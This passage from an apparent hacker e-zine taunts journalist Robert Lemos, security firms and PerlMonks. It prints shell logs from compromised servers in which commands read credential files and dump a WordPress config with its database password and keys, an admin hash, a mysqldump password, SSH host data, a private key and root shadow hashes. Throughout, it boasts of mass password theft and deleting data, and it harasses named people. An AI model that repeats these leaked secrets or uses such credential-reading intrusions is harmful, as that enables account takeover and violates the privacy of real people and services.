15608 drwx--x--x 6 wheelglow wheelglow 4096 Jan 24 22:49 .. 15609 drwx--x--x 8 wheelglow wheelglow 4096 Sep 12 2007 wheelglow.com 15610 15611 /home/wtfsmilez/domains/: 15612 total 12 15613 drwx--x--x 3 wtfsmilez wtfsmilez 4096 Apr 30 17:00 . 15614 drwx--x--x 5 wtfsmilez wtfsmilez 4096 May 2 13:11 .. 15615 drwx--x--x 8 wtfsmilez wtfsmilez 4096 May 3 19:12 wtfgamers.net 15616 15617 /home/xckx/domains/: 15618 total 16 15619 drwx--x--x 4 xckx xckx 4096 Feb 22 02:44 . 15620 drwx--x--x 8 xckx xckx 4096 Feb 22 02:44 .. 15621 drwx--x--x 7 xckx xckx 4096 Apr 16 2008 oinfam0uso.com 15622 drwx--x--x 7 xckx xckx 4096 Feb 23 00:12 snayke.com 15623 15624 /home/yourkicks/domains/: 15625 total 16 15626 drwx--x--x 4 yourkicks yourkicks 4096 Jan 6 19:33 . 15627 drwx--x--x 5 yourkicks yourkicks 4096 Jan 28 21:21 .. 15628 drwx--x--x 8 yourkicks yourkicks 4096 Jan 6 21:15 yourkicksonline.com 15629 drwx--x--x 8 yourkicks yourkicks 4096 Jan 6 21:15 yourkicksonline.net 15630 15631 /home/zer0/domains/: 15632 total 12 15633 drwx--x--x 3 zer0 zer0 4096 May 20 17:00 . 15634 drwx--x--x 5 zer0 zer0 4096 May 23 01:28 .. 15635 drwx--x--x 8 zer0 zer0 4096 May 23 01:28 zer0zone.ws 15636 15637 Ghetto. 15638 15639 15640 15641 | 15642 \ / _\/_ 15643 Robert Lemos - Again .-'-. //o\ _\/_ 15644 -- / \ -- | /o\\ 15645 ^^~^~^~^~^~^~^~^~~^~^~^~^~^~^~^~^~^~^-=======-~^~~^^~~^~^~^~|~~^~^|^~` 15646 I'm homeless, jobless, times is hard | 15647 I'm not hopeless, but I gotta eat regardless 15648 No family to run to I'm 22 15649 Now tell me what the fuck am I supposed to do 15650 15651 Hack to the future! 15652 15653 Remember the intro where we talked about notable whitehats we owned? Lemos 15654 isn't one of them. He's just a whitehat that we like to mess with who writes 15655 for securityfocus. 15656 15657 We dropped Lemos in our last issue, but his typical lame whitehat retorts were 15658 so funny we thought we'd try to squeeze another out of him. He also called us 15659 hacker rats, which is totally NOT cool. 15660 15661 Here's his list of potential ways we got in last time. 15662 15663 * An unpublished or unpatched flaw in Wordpress that they exploited. 15664 # no comment 15665 * An unpublished or unpatched flaw in PHP. 15666 # no comment 15667 * The site was compromised by a known flaw before I had installed the 15668 latest patch. 15669 # no comment 15670 * The attackers were able to brute force the password for the administrator 15671 account using a hash for my particular password culled from a previous 15672 compromise at a different site where I owned an account. 15673 # why bother brute forcing? and doesn't that mean you reuse passwords? 15674 sucker. 15675 * A misconfiguration in the site allowed the attackers to escalate 15676 privileges. 15677 # no comment. 15678 15679 Bob will be helping us out by spreading the zine around to a few publicists, we 15680 really are after a movie/book deal eventually and figure he's the right guy to 15681 help us out. 15682 15683 $ id; uname -a 15684 uid=80(apache) gid=80(apache) groups=80(apache) 15685 Linux rs2cruz.nexcess.net 2.6.9-78.0.22.ELsmp #1 SMP Thu Apr 30 19:14:39 EDT 15686 2009 i686 i686 i386 GNU/Linux 15687 $ cd /home/robertle/public_html/; ls -la 15688 total 308 15689 drwxr-sr-x 5 robertle robertle 4096 Mar 24 17:31 . 15690 drwx--s--x 4 robertle robertle 4096 May 13 2008 .. 15691 -r--r--r-- 1 robertle robertle 169 May 12 2008 .htaccess 15692 -rw-r--r-- 1 robertle robertle 397 Jul 10 10:09 index.php 15693 -rw-r--r-- 1 robertle robertle 15410 Jul 10 10:09 license.txt 15694 -rw-r--r-- 1 robertle robertle 7642 Jul 10 10:09 readme.html 15695 drwxr-sr-x 7 robertle robertle 4096 Jul 6 09:40 wp-admin 15696 -rw-r--r-- 1 robertle robertle 40543 Jul 10 10:10 wp-app.php 15697 -rw-r--r-- 1 robertle robertle 220 Jul 10 10:10 wp-atom.php 15698 -rw-r--r-- 1 robertle robertle 274 Jul 10 10:10 wp-blog-header.php 15699 -rw-r--r-- 1 robertle robertle 3649 Jul 10 10:10 wp-comments-post.php 15700 -rw-r--r-- 1 robertle robertle 238 Jul 10 10:10 wp-commentsrss2.php 15701 -rw-r--r-- 1 robertle robertle 2601 Jan 7 2009 wp-config.php 15702 -rw-r--r-- 1 robertle robertle 2626 Jul 10 10:10 wp-config-sample.php 15703 drwxr-sr-x 5 robertle robertle 4096 Mar 24 17:30 wp-content 15704 -rw-r--r-- 1 robertle robertle 1254 Jul 10 10:10 wp-cron.php 15705 -rw-r--r-- 1 robertle robertle 220 Jul 10 10:10 wp-feed.php 15706 drwxr-sr-x 6 robertle robertle 4096 Jul 6 09:41 wp-includes 15707 -rw-r--r-- 1 robertle robertle 1946 Jul 10 10:11 wp-links-opml.php 15708 -rw-r--r-- 1 robertle robertle 2341 Jul 10 10:11 wp-load.php 15709 -rw-r--r-- 1 robertle robertle 21019 Jul 10 10:11 wp-login.php 15710 -rw-r--r-- 1 robertle robertle 7113 Jul 10 10:11 wp-mail.php 15711 -rw-r--r-- 1 robertle robertle 487 Jul 10 10:11 wp-pass.php 15712 -rw-r--r-- 1 robertle robertle 218 Jul 10 10:11 wp-rdf.php 15713 -rw-r--r-- 1 robertle robertle 316 Jul 10 10:11 wp-register.php 15714 -rw-r--r-- 1 robertle robertle 220 Jul 10 10:11 wp-rss2.php 15715 -rw-r--r-- 1 robertle robertle 218 Jul 10 10:11 wp-rss.php 15716 -rw-r--r-- 1 robertle robertle 21520 Jul 10 10:11 wp-settings.php 15717 -rw-r--r-- 1 robertle robertle 3434 Jul 10 10:11 wp-trackback.php 15718 -rw-r--r-- 1 robertle robertle 92522 Jul 10 10:11 xmlrpc.php 15719 $ cat /home/robertle/public_html/wp-config.php 15720 /** 15721 * The base configurations of the WordPress. 15722 * 15723 * This file has the following configurations: MySQL settings, Table Prefix, 15724 * Secret Keys, WordPress Language, and ABSPATH. You can find more information by 15725 * visiting {@link http://codex.wordpress.org/Editing_wp-config.php Editing 15726 * wp-config.php} Codex page. You can get the MySQL settings from your web host. 15727 * 15728 * This file is used by the wp-config.php creation script during the 15729 * installation. You don't have to use the web site, you can just copy this file 15730 * to "wp-config.php" and fill in the values. 15731 * 15732 * @package WordPress 15733 */ 15734 15735 // ** MySQL settings - You can get this info from your web host ** // 15736 /** The name of the database for WordPress */ 15737 define('DB_NAME', 'robertle_wordpress'); 15738 15739 /** MySQL database username */ 15740 define('DB_USER', 'robertle_wp2008'); 15741 15742 /** MySQL database password */ 15743 define('DB_PASSWORD', 's9e#hy%isjUI7@4kdfh+_dijfb'); 15744 15745 /** MySQL hostname */ 15746 define('DB_HOST', 'localhost'); 15747 15748 /** Database Charset to use in creating database tables. */ 15749 define('DB_CHARSET', 'utf8'); 15750 15751 /** The Database Collate type. Don't change this if in doubt. */ 15752 define('DB_COLLATE', ''); 15753 15754 /**#@+ 15755 * Authentication Unique Keys. 15756 * 15757 * Change these to different unique phrases! 15758 * You can generate these using the {@link 15759 http://api.wordpress.org/secret-key/1.1/ WordPress.org secret-key service} 15760 * 15761 * @since 2.6.0 15762 */ 15763 define('AUTH_KEY', 15764 '~JX*S.)[@UJ8pTg,Qb\"_M7$0#-zd0-sux-A8$MEJ0;e)@Zr|1t{k@N@tA>:acZ2r@*(is<aRg'); 15765 define('SECURE_AUTH_KEY', 'i1D2k++|pZM;HsQ\'JUaHo3RyT7R-zd0-sux-D&D7uGV[s[ 15766 Sa1NI/4zeM92?C%W.#r/gb:vZ'); 15767 define('LOGGED_IN_KEY', 15768 ':d(e%LYH.>=lzuhz1<v67^-zd0-sux-T{RNWv:Wtf>Mfz8R4[\'G>W/%y%v_5l4Sh``9m7 &RJ'); 15769 define('NONCE_KEY', 'fhsdf87f9sFD&*(W#HV*(&F(D98f7f32hif98dsh2ncdsuiufoiseh'); 15770 /**#@-*/ 15771 15772 15773 // You guys see that? zd0-sux...who is this zd0 and what have they done to 15774 // bother you, little Bobby? 15775 15776 15777 /** 15778 * WordPress Database Table prefix. 15779 * 15780 * You can have multiple installations in one database if you give each a 15781 unique 15782 * prefix. Only numbers, letters, and underscores please! 15783 */ 15784 $table_prefix = 'wp_'; 15785 15786 /** 15787 * WordPress Localized Language, defaults to English. 15788 * 15789 * Change this to localize WordPress. A corresponding MO file for the chosen 15790 * language must be installed to wp-content/languages. For example, install 15791 * de.mo to wp-content/languages and set WPLANG to 'de' to enable German 15792 * language support. 15793 */ 15794 define ('WPLANG', ''); 15795 15796 /* That's all, stop editing! Happy blogging. */ 15797 15798 /** WordPress absolute path to the Wordpress directory. */ 15799 if ( !defined('ABSPATH') ) 15800 define('ABSPATH', dirname(__FILE__) . '/'); 15801 15802 /** Sets up WordPress vars and included files. */ 15803 require_once(ABSPATH . 'wp-settings.php'); 15804 ?> 15805 15806 Little Bobby rm'd all the users from his blog :( including n3td3v :( 15807 15808 (1,'admin','$P$BEXt/0MTFOcYugwh/IaZ.V2f5ntHe/.','administrator','feedback@rober 15809 tlemos.com','http://www.robertlemos.com','2005-03-30 00:17:34','',0,'Rob'); 15810 15811 No point dragging this out. Lemos knows nothing about security, not a single 15812 jot. Real whitehat hackers laugh at this guy, much in the same way they laugh 15813 at what ends up in these zines. Mock us at your peril Bob. One other thing - 15814 get the name right. 15815 15816 15817 15818 | 15819 \ / _\/_ 15820 Interlude .-'-. //o\ _\/_ 15821 -- / \ -- | /o\\ 15822 ^^~^~^~^~^~^~^~^~~^~^~^~^~^~^~^~^~^~^-=======-~^~~^^~~^~^~^~|~~^~^|^~` 15823 | 15824 15825 15826 The security industry needs a security industry. 15827 15828 If we wanted to we could make good money selling security to the people who 15829 sell security. It really makes their business look bad when they cannot begin 15830 to secure themselves. Surely their own security would be as valuable as that of 15831 most of their clients. But we don't do that, probably because we'd get canned 15832 after rming our first few clients. 15833 15834 Look at Matasano. 0wned to fuck just a couple of days ago. What the hell guys? 15835 Blog posts lecturing about how noobs misuse AES and crypto sessions, meanwhile 15836 we read your hacklog and see a handful of blatant security mistakes. Did you 15837 go to the Dan Kaminsky school of system administration? Get your shit in order 15838 and then come back for review. 15839 15840 --- 15841 15842 15843 We remove your files. We play blackjack with your hard drives; hit me and flip 15844 that bit. We exp0se your secrets. We expose your girlfriend. Relationships end. 15845 Files disappear. Careers change. Mood swings. End. 15846 15847 It's all real. We can't get out either. 15848 15849 We're addicted. It's a disease. Somebody please invent hacker rehab. If you 15850 charge SyScan rates we'll fuckin' own you. 15851 15852 There we go again. 15853 15854 --- 15855 15856 15857 Death to narc bitches like Axel Gamebe. They're everywhere. Snitchin' on a 15858 snitch there's nothing to tell. 15859 15860 --- 15861 15862 15863 > 0rg4nizations such as th3 eleetz "anti-sec" 4re s4diztic g0dless bastardz 15864 wh0 g41n org4smic pl34sure from the suff3ring and t0rrm3nt of def3nclezz jpg 15865 f1lez 15866 15867 --- 15868 15869 15870 > I owned too much shit not sure wtf to do with it all :( 15871 > maybe shutdown the internet lolz 15872 15873 ZF06 will only be available in paperback and hardcover. 15874 15875 --- 15876 15877 15878 Between us and people we know, everything is owned. We keep owning shit that 15879 others have, they own some shit we already have. We don't exactly hire 15880 secretaries to sort this out. 15881 15882 We're colonizing the internet the way Europe colonized Africa, cutting it up 15883 into little pieces. We have your accounts, your mail, your dev box, your host, 15884 and your ISP. Code exec on your lappy if we think it's worth the hassle. We 15885 have so much shit owned we can't manage, or even remember, half of it. Targets 15886 pop up and we have to ask ourselves if we already have it, because we just 15887 don't know. 15888 15889 We could set up franchises like McDonalds, one on every corner of the net, over 15890 99 billion served. Supplying you with artery-clogging hax morning afternoon and 15891 night. 15892 15893 We need some goddamn staff, we're a billion dollar enterprise running on a 15894 lemonade stand budget. If there was much useful help out there, we'd hand out 15895 root passes like candy on hallowe'en. That's just a pipe dream, we just find 15896 more people we can't trust. Anyone useful is as busy as we are. Thank your 15897 lucky stars we ramble on. 15898 15899 --- 15900 15901 15902 It's only good enough for cutting sausage. 15903 15904 --- 15905 15906 15907 Poor Mil. Let's just say we ended up on another box with a milamber account. 15908 I screamed, exited, and killed the last hop I connected from. Just to be safe. 15909 15910 We have a funny feeling we'll be hacking Mil forever, he's stalking us or we 15911 are stalking him. We can't get away. We'll end up in the same retirement home. 15912 15913 --- 15914 15915 15916 "Secure DNA's own Anthony Giandomenico was named a Security Hero 15917 by SANS on February 18th" 15918 15919 When do we get one of those? 15920 15921 --- 15922 15923 15924 | 15925 \ / _\/_ 15926 PerlMonks .-'-. //o\ _\/_ 15927 -- / \ -- | /o\\ 15928 ^^~^~^~^~^~^~^~^~~^~^~^~^~^~^~^~^~^~^-=======-~^~~^^~~^~^~^~|~~^~^|^~` 15929 I stand up next to a mountain | 15930 and chop it down with the edge of my hand. 15931 'cause I'm a vudu child 15932 15933 15934 There is a really simple reason we owned PerlMonks: we couldn't resist more 15935 than 50,000 unencrypted programmer passwords. 15936 15937 That's right, unhashed. Just sitting in the database. From which they save 15938 convenient backups for us. 15939 15940 Believe it or not, there is actually debate at perlmonks about whether or not 15941 this is a good idea. Let's just settle the argument right now and say it was 15942 an idea that children with mental disabilities would be smart enough to scoff 15943 at. We considered patching this for you but we were just too busy and lazy. 15944 I'm sure you can figure it out yourselves. 15945 15946 This isn't a bad set of passwords, either. Programmers have access to 15947 interesting things. These Perl guys are alright, just a little dumb apparently. 15948 A lot of them reuse. You can explore them yourselves, I really do not want to 15949 point out anyone in particular. 15950 15951 We are really tight on space in this zine, so here's a little log of one of 15952 their pair.com boxes. 15953 15954 %id 15955 uid=3002(perlmonk) gid=1000(users) groups=1000(users), 2(kmem), 861(mysql) 15956 %w 15957 8:17PM up 69 days, 3 hrs, 0 users, load averages: 0.00, 0.01, 0.00 15958 USER TTY FROM LOGIN@ IDLE WHAT 15959 %uname -a 15960 FreeBSD qs275.pair.com 4.8-STABLE FreeBSD 4.8-STABLE #0: Fri Apr 15 13:34:52 15961 EDT 2005 erik5@koloda.pair.com:/usr/src/sys/compile/PAIRqsv i386 15962 %pwd 15963 /usr/home/perlmonk 15964 %ls 15965 0.8mods dmq mysqldumper 15966 pm-restore sqltop.2002-05.gz temp 15967 6000 downloads mysqlscript4ar0n 15968 processlist sqltop.2002-11.gz thatguy.txt 15969 Everything.tgz e nateperl 15970 public_html sqltop.2002.gz theorb 15971 Mail eraseme nodecount.txt 15972 r sqltop.2003.gz 15973 tp.tar.gz 15974 ar0n.dump.gz html.tags nodecount10.txt 15975 schema.txt sqltop.2004-01.gz tye 15976 ar0n.out.gz html.tye nodetype.tsv 15977 script-launcher sqltop.2004.gz 15978 user_bashrc.tar 15979 arf jona 15980 numnodes_by_date.txt show sqltop.kill 15981 vroom 15982 backups jwest_user_image.sql 15983 perlmonks_move.gz slowbup.all sqltop.last 15984 www_logs 15985 belgfix links.pl 15986 perlmonks_move2.gz slowbup.log sqltop.log 15987 ysth 15988 bin mail 15989 perlmonks_post_migrate_dump.gz someoldbackup table.status 15990 dead.letter mbox petruchio 15991 sql20050707.log tabledefs 15992 %ls vroom 15993 Algorithm-Diff-1.11 eclonealtertable hitspersec.pl 15994 htmlfix4 public_html 15995 vroom_smgrad.gif 15996 Algorithm-Diff-1.11a.tar ecore htmlcodecheck 15997 htmlfixupdate resume.doc 15998 addnewlines.pl errorpage.html htmlcodecheck2 15999 identity.pub resume.html 16000 bin gatesfix htmlfix.pl 16001 newmods scannedpics 16002 dev greenperlmonkssm.gif htmlfix2 16003 offeringplate.jpg test.pl 16004 ebase greensearch.gif htmlfix3 16005 oldhome users_localtime.pl 16006 %cat mysqldumper 16007 #!/bin/csh 16008 mysqldump -u perlmonk_2 -pYPZge9wP perlmonk_ebase | /usr/local/bin/bzip2 > 16009 /home/perlmonk/backups/pmdump00.bz2 16010 %ls -lat / 16011 total 18204 16012 drwxrwxrwt 4 bin bin 2560 May 20 00:34 tmp 16013 -rw------- 1 root wheel 0 May 14 17:17 .history 16014 drwxr-x--- 18 root wheel 4608 May 7 16:34 root 16015 drwxr-xr-x 9 root wheel 3072 May 7 16:34 etc 16016 drwxr-xr-x 29 root wheel 1024 Mar 7 2007 usr 16017 drwxr-xr-x 16 root wheel 1536 Oct 28 2006 .. 16018 drwxr-xr-x 16 root wheel 1536 Oct 28 2006 . 16019 -rw-r--r-- 1 root wheel 29 Oct 28 2006 .Synced.reference 16020 drwxr-xr-x 22 root wheel 512 Oct 28 2006 var 16021 drwx------ 9 root wheel 1024 Apr 30 2006 .Trash 16022 drwx------ 2 root wheel 512 Apr 30 2006 .46 16023 drwxr-x--- 3 root staff 512 Apr 30 2006 hot 16024 lrwxrwxrwx 1 root wheel 3 Apr 20 2006 u2 -> usr 16025 lrwxrwxrwx 1 root wheel 11 Apr 20 2006 sys -> usr/src/sys 16026 lrwxrwxrwx 1 root wheel 10 Apr 20 2006 proc -> /root/proc 16027 lrwxrwxrwx 1 root wheel 9 Apr 20 2006 home -> /usr/home 16028 lrwxrwxrwx 1 root wheel 11 Apr 20 2006 compat -> /usr/compat 16029 drwxr-xr-x 3 root wheel 21504 Apr 20 2006 dev 16030 -rwxr-xr-x 2 root wheel 2372281 Apr 15 2005 kernel.PAIRqsv 16031 -rwxr-xr-x 2 root wheel 2372281 Apr 15 2005 kernel 16032 -rwxr-xr-x 1 root wheel 2372249 Apr 5 2005 kernel.PAIRqsu 16033 -rw-r--r-- 1 root wheel 2372249 Apr 4 2005 kernel.PAIRqu 16034 -rwxr-xr-x 1 root wheel 2372249 Nov 27 2004 kernel.PAIRqst 16035 -rwxr-xr-x 1 root staff 2318536 Sep 15 2004 kernel.PAIRqsr 16036 drwxr-xr-x 2 root wheel 1024 Nov 13 2003 bin 16037 -rwxr-xr-x 1 root staff 4242214 Nov 13 2003 kernel.GENERIC 16038 drwxr-x--- 2 root wheel 4096 Sep 6 2003 modules 16039 drwxr-x--- 3 root wheel 512 Jul 14 2003 boot 16040 drwxr-xr-x 2 root wheel 2048 Jul 14 2003 sbin 16041 drwxr-x--- 4 root wheel 1024 Apr 3 2002 stand 16042 -r--r--r-- 1 root wheel 4735 Sep 18 2001 COPYRIGHT 16043 -rw-r----- 1 root wheel 251 Sep 18 2001 .profile 16044 -rw-r--r-- 1 root staff 780 Apr 9 2001 clnup 16045 -rw-r----- 1 root wheel 1048 Feb 21 2001 .cshrc 16046 %pwd 16047 /usr/home/perlmonk 16048 %cat .ssh/known_hosts 16049 everything2.com,216.200.201.214 1024 37 16050 1504346935309162227843615336249193222801199395982740647984659154407241244938512 16051 0139893376417128249437061753041368877049908960458365469976611014638765436506536 16052 4767878034301276065705242772106632208765649947664830375681246847078843085559748 16053 059130243054854416032553484978530430912104909353314827360882837653291387 16054 krishna.blockstackers.com,208.159.115.231 1024 35 16055 1367053699308799741209020445599587202775550019320470446282274276038653826504324 16056 3568954222612627907140352515737632875778087092943432629226318545309874525663759 16057 3539502643956278722685859732518793593719789170386499644176421281826121927380351 16058 259006719337723183627544705605924101804027414647023235484860521830129361 16059 perlmonk.org,66.92.212.9 1024 35 16060 1554200963592370980112950903510278623058920496993920919408633278174837859976268 16061 0813593311386105308496357011598169878112802686574903167118450168553769815415087 16062 5971618386463870272158136400666057193163929369538400688439301601057560369897342 16063 336957411976856029704598603482732241786293049086082335808452519743332579 16064 zdog.dyndns.org,216.175.114.84 1024 35 16065 1245708086324349460448475625675905773779649436293702492073303510718172589884216 16066 6410944701960540689725543797716107817683609389799103940991295840793754270172137 16067 7895523010320845339729980355179840314983887993306076503254869054326039382987386 16068 901371000132964181153163683541880716088071439874560799412444503607762399 16069 qs343,216.92.131.131 ssh-rsa 16070 AAAAB3NzaC1yc2EAAAABIwAAAIEAwdeMdSJ94Ivgu2Dk6oLgxZFTM4Hur1CQwhuzBbke/od11kpJDRS 16071 9Rdxn2GhId5ku3+PUcfevD+YTbkGhhXTN8zAqLXuc7MGTL4oGrf1rAlg6nX3tNjMlMAY/Ua7N6fDGYx 16072 BtNaWWgR5YPzLCokiZDnXkdh3RpJ1GxW4Fg+JdgkM= 16073 qs321,216.92.131.76 ssh-rsa 16074 AAAAB3NzaC1yc2EAAAABIwAAAIEA3Ip2A/Bmit6NdnTw9XXA/qbLsLAqZinGyL52Xz1RJ2HW6TfTNye 16075 9GW3B2TyCOv7Fq9TD0f2Uj1M/kXteZlDIM5cTH9C2cOXAUp0oFMwG8OlMjWSNDdLl9XmRpqSMtX6qtH 16076 3RDE/7rKb9Nwm367juJyDBqKaRUfOa2q6cmBCdgM0= 16077 tmn.dyndns.org,65.32.49.163 ssh-dss 16078 AAAAB3NzaC1kc3MAAACBALOmC9FSmnNXPKRCB0x204Yy6XQZxCbeckBanUsjSV1QIW3vdQyFJgAz+PK 16079 /973uTmdW4SC4fKl1IdzQTWGNjgSltfdQ6rwS/Ut91x1pXs7+vD26Y+2UdjKBEULl/5QLoT0fUsK5L1 16080 t+Vf1DvPZIldm+qWaxUc20SwfvsP4FkJl1AAAAFQCGU1xS/LIFjL0yR4+Ig7nzeOmEowAAAIBKkidlt 16081 rRbTCbRNG3IkVhAw9zzy0BSL/T9Kq9ohhQ9wDP9p41amkpRc2y6cNBEpb1HQL/edtrPpPWy4OtaE6h/ 16082 H/0i6vhMz/8Bsqus9ZZPCpT1W6WpGmtkbms2SIJkxfSdD+xfIfHnjWh9uvKRcc/4kWhS0WqYylaKhyI 16083 NGhdMvAAAAIEAsvZkDOP8e/6JXMwA6wcrXY5yTXWEaVmp4lJ4xLc4jAGBJ+KGNAtXVodQINExKdfiEJ 16084 01BY2ZWtDx1WcnxxEfaX0Qefs5nMV2wUIGtfxdncmqvUndJ0ms8OmjPXH1x2bsVz+0BHVF4XYim7CyI 16085 F2f4xWkeZjQI6sn7655yC9PsW4= 16086 animefu.com,216.200.201.210 1024 35 16087 1378578634601798455530109190103249845851774542111646477236260924699170332641550 16088 1456294768164749564017670780284976178523747420102817478862186023466191082260844 16089 6301995428477411508563531280528087580443481443108591122471474705113922461561157 16090 203099013215493718444291836570990158395245241432844302454316726540939781 16091 qs321.pair.com ssh-rsa 16092 AAAAB3NzaC1yc2EAAAABIwAAAIEA3Ip2A/Bmit6NdnTw9XXA/qbLsLAqZinGyL52Xz1RJ2HW6TfTNye 16093 9GW3B2TyCOv7Fq9TD0f2Uj1M/kXteZlDIM5cTH9C2cOXAUp0oFMwG8OlMjWSNDdLl9XmRpqSMtX6qtH 16094 3RDE/7rKb9Nwm367juJyDBqKaRUfOa2q6cmBCdgM0= 16095 qs343.pair.com ssh-rsa 16096 AAAAB3NzaC1yc2EAAAABIwAAAIEAwdeMdSJ94Ivgu2Dk6oLgxZFTM4Hur1CQwhuzBbke/od11kpJDRS 16097 9Rdxn2GhId5ku3+PUcfevD+YTbkGhhXTN8zAqLXuc7MGTL4oGrf1rAlg6nX3tNjMlMAY/Ua7N6fDGYx 16098 BtNaWWgR5YPzLCokiZDnXkdh3RpJ1GxW4Fg+JdgkM= 16099 perlmonk.org,66.92.212.9 ssh-rsa 16100 AAAAB3NzaC1yc2EAAAABIwAAAIEAr0a0JHWnD1DtO9a66GyvaTaY5uolozgim+zcWIRbZ6vj5WcneJy 16101 0RcGjNfKGgUWcs4S5UR3UaITHFEIYqbg/3VQFwJ86+H4/Jc3MoeK1pY1f6ETZmHzUlDq0Vh1e9oNapp 16102 tfB8sGeCFejKZGul9tQhUDZgdf/t2BQBREtWxTvKs= 16103 qs275.pair.com,216.92.131.31 ssh-rsa 16104 AAAAB3NzaC1yc2EAAAABIwAAAIEA3pwfd2S22hPt68KgDz8uymsCt641XTB/oht/51ysqYZSLV3FLhs 16105 2bMm9X6/QBbVVmeD6apF2uV0pCxH1PK666VvXpzpwbCd+jutLjrJI5DqXiqaSY1f/afDWaT8ohSgAP+ 16106 VUTSfPeyQdvEjxUYGISWiGmG4LIvqNr+s+wR27IWM= 16107 kilowog.blockstackers.com,216.144.199.194 ssh-dss 16108 AAAAB3NzaC1kc3MAAACBAIPjiVdonWUyBUKX+ikssiyTjyu5fF1xWTk3vzsmeCv4jckN7WVO4qelLe4 16109 F4VJb8runfWWMEFtSQTHZKudRvpUl3t/lPxTGhXAY/DDpT6Yjos4BEb3IDaswMHIzgGIKnzyaSx/o6N 16110 GDpccp1/HyHKvo5GnsEX6+tOv87MfkkQXpAAAAFQCqifFFt+JI1iy4JssD37Dgl8q2wwAAAIAYjkMzC 16111 4EErQ5hQbVfDMgEvzxmkA85kq9sbV2NqMPblTltYTdS0Oax/K3OSLXoZ2n1I2stwwkLoeDLaJk1nH0Z 16112 3dRpD8cIsbLD5xXDXDIOJiyh87rLfS8XJwfnxGCGJhhJMbb08fIRg/bevIEOI9IaLRj9PNCsumYZ0Mv 16113 KWVGFOwAAAIBcSCQpijoqtfVXVoY29fY+0G7VtBjabZ9ghX5Gqy490ik0lepTL+c3vIoMb71OgTnfJb 16114 A/WP/Pz9jP25Ui6azLN1Y3tXLPIFtAex+TI4ub6ntQAB1lulz+ETuqLrL+h2jUaDsec+UhlS0FDdRS8 16115 +1yiE88A6TLgXDU3sihPB2Arg== 16116 runts.dreamhost.com,208.113.138.13 ssh-rsa 16117 AAAAB3NzaC1yc2EAAAABIwAAAIEApMr6cEY236fOHLpAnJ/iMjksHNSbPoQwC6/pcr9RVvIEpjSw/oh 16118 tS3XzCAgt4orh/XslpktpQVvkPFeDFsvGscTRj82EI3fMMYyycU6Qr5WxyfIC49NQwPPLoZUp5adfVr 16119 560B2pfcsdi+WoHT0ZlQd9ufCtVescPML8PkBT/X0= 16120 catfish.blockstackers.com,35.8.188.144 ssh-rsa 16121 AAAAB3NzaC1yc2EAAAABIwAAAQEApwbZpKppt/M08Kr87awXM8rJoJvGblebWpUHPQed6BsM/6FL8uu 16122 gycqTM2tlkN5SosUFg43vl7cf1ZIWQUe2kTslnhUW5viEDqkjRQafzP4I5UsDH8M5fXGDzHwNbBcZpn 16123 xjFO4eVkjeAB4LXyBKReFyAXr5tiPXtIuxXf13L4OqvOfFAs84tntJ5mZO61Cr8O6UEo0JYTFCZf9SK 16124 IfoTCD4XLJIaTf+Hxm4WekjhodfLFnPrZ0vc3LrTszp0ph3ZsQB04mxOm5/Wnoi4CJ40ijUgEc0oy8R 16125 aMg51QnAwqkIqh24AYqQXKWsEHTzCDdGSEyTQ6a6vTV/WJaHzi2Nyw== 16126 zeno.si.umich.edu,141.211.185.181 ssh-rsa 16127 AAAAB3NzaC1yc2EAAAABIwAAAQEA26+zmzhtEebiUhH6LPbv1hOq5p2GgwZMyQbAZ2BQz8h2J+eREHL 16128 rII5C8w77J5oznYjDajn+cb/e0jqcvGy97cLw08R2zZFEXgQkzJfNWWZZnIvu97wSpgLKTVnpzA2r7V 16129 MP7crb2NYzPQj1osVYtsFWC2B6q6E1CQwTZtlm5zaVVYfLUgf8r43OMa9uhHkFNXI1gfUBIiN8lDlGU 16130 ljefGF1QPGmXcgwU+uxiqfCHXuSUcnBl6Nh+MCNIVQTXYulUV6nichj+A0RR13FEGPVkUnn0fcS02Lr 16131 Z6LgCf11nLCrz96mf/A3uVCTmvUjOaSlvMVUmjjihpa/n5VrJrVVVQ== 16132 qs1968,216.92.2.218 ssh-rsa 16133 AAAAB3NzaC1yc2EAAAABIwAAAQEAu8dzZ+cKbw+EzFZjQ86cyO2JWBvEqWNOCCEfroxEC00hxKKlPXT 16134 CM4op7WCnHdd6WxBNsWkHqH6osoTvXL4gZ8Gra8xT1RHzhrn9S+zJJ/3O50Muqc1ueVSHNyozEjHuVh 16135 2DOB1zF13eU5dV+vH5h6skdHVr79nE40ujKztlLufcMqfL3UCAPqqiDtZJEgZXIcQmm/PSyW8qtSysv 16136 KGdPPzDxVn9T6PjV2lDG/ehvPkRIM3NRVzYu2LxvR9eBeGRzMmXPvVUv6ePRDIc06S4d+p61n2/FHJM 16137 Fgk9AibY5Z8q1HT61ZZ2RzsZw7TFwk7YO/ZoEAzxe6KT7WM4xFTC8Q== 16138 %cat .ssh/id_dsa 16139 -----BEGIN DSA PRIVATE KEY----- 16140 Proc-Type: 4,ENCRYPTED 16141 DEK-Info: DES-EDE3-CBC,7B44F38D3D2524FA 16142 16143 h5uyq9t/oR7ERld7jn1ijwRbmFP1eALWXclZxuOpZsaOemcD1Z4ym0CUA0jXjLAt 16144 0y3EBdnfmsCym+BbsAdvqADxr60HoMqpuMFwNvCAXxBKKGCDS1YsRUOIX9nZm9Au 16145 EwbtpZrCYxuaHAgyr5TccB3wYFwAeMOx8UK4urCoqQPQv0ZoO7AOct7IZ7oJwSv7 16146 8WGpY4SK8Gz3fMnxTVkw5K9YgiuqzaEzIiKjsFm1n6Bq8iJulwqlSAeFishXERTt 16147 oVj+Y9fbgu7ET38vdjoXfx2BMM2Dh484qXWSjauY03CoiCaDk79HJNvohsqdYha+ 16148 DDnIq2Dlribon3pg8y/EIrTd0AZe9vovqqOWR/hmrUJqpSBmkrGZTp2pFW1LhFjb 16149 /PlkyDkvFZ+Y7+ORjVjnqxJk5x4+DCZEJD8ExI2tQMTcl6OusLftfoJ82cKYdpGT 16150 RXEEnBDiImUseFlWRyCSingSsh8K0D/zJiaSNpZrBq74fKEkPtVrSxssGGes5yOZ 16151 NcgSmUOmUkth7b2tRgJChfFVGxmRYHRDAHwBVuEmIynypmfbmY53q7RQvrBywt/A 16152 W4OTQVAUgfRZOYqtKTqvX20vv6RKFC4n 16153 -----END DSA PRIVATE KEY----- 16154 16155 Did you guys see the root vulnerability there? In case you missed it, here's 16156 the shadow: 16157 16158 root:$1$GdIok1Pz$xRKigk3/kV4Xji4pdeLXH1:0:0::0:0:Super User:/root:/bin/csh 16159 rootsh:$1$pXvXZptn$8b/secUoKU6e6YD7RqhhQ1:0:0::0:0:Super User 16160 